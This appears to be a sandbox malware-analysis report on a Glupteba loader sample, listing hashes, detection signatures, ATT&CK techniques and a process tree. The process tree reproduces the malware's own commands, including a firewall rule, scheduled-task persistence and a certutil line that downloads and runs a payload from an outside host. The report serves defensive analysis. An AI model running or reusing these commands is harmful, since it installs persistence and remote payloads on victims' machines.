Analysis
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max time kernel
146s -
max time network
145s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
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submitted
15-06-2024 04:51
General
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Target
acf146d234963a076e728cea3d253caa_JaffaCakes118.exe
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Size
3.7MB
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MD5
acf146d234963a076e728cea3d253caa
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SHA1
4296ee3a690a9283d221d8b449be87a9e7509a8d
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SHA256
97b8a1dea03a4d95b24673e616c048ec5615aeef934806ee6e16622e4b8d283f
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SHA512
1622efc3704923e633e9f083ad532c16e83707df6dcb700e79573b28a187bf88de4412f72726f544519ab41f14cd55d5186971a3159b4963c58b6f381367ad67
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SSDEEP
98304:Bmr62MJGuEYgIK1xTtWDda4nq5gAG+Dm056a+n:suHJNEYgIKYdrqGAdf6a+
Malware Config
Signatures
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Glupteba
Glupteba is a modular loader written in Golang with various components.
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Glupteba payload 23 IoCs
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Windows security bypass 2 TTPs 12 IoCs
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Modifies Windows Firewall 2 TTPs 1 IoCs
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Executes dropped EXE 2 IoCs
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Loads dropped DLL 11 IoCs
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Windows security modification 2 TTPs 12 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
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Modifies boot configuration data using bcdedit 1 IoCs
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Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
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Drops file in Windows directory 3 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
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Modifies system certificate store 2 TTPs 2 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of WriteProcessMemory 15 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\acf146d234963a076e728cea3d253caa_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\acf146d234963a076e728cea3d253caa_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\acf146d234963a076e728cea3d253caa_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\acf146d234963a076e728cea3d253caa_JaffaCakes118.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240615045148.log C:\Windows\Logs\CBS\CbsPersist_20240615045148.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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Filesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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Filesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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Filesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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Filesize
3.7MB
MD5acf146d234963a076e728cea3d253caa
SHA14296ee3a690a9283d221d8b449be87a9e7509a8d
SHA25697b8a1dea03a4d95b24673e616c048ec5615aeef934806ee6e16622e4b8d283f
SHA5121622efc3704923e633e9f083ad532c16e83707df6dcb700e79573b28a187bf88de4412f72726f544519ab41f14cd55d5186971a3159b4963c58b6f381367ad67
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
3.7MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
3.7MB
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Filesize
3.7MB
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Filesize
7.1MB
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Filesize
3.7MB
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Filesize
7.0MB
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Filesize
7.1MB
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Filesize
7.0MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
3.7MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
15.1MB
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Filesize
5.9MB
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Filesize
5.9MB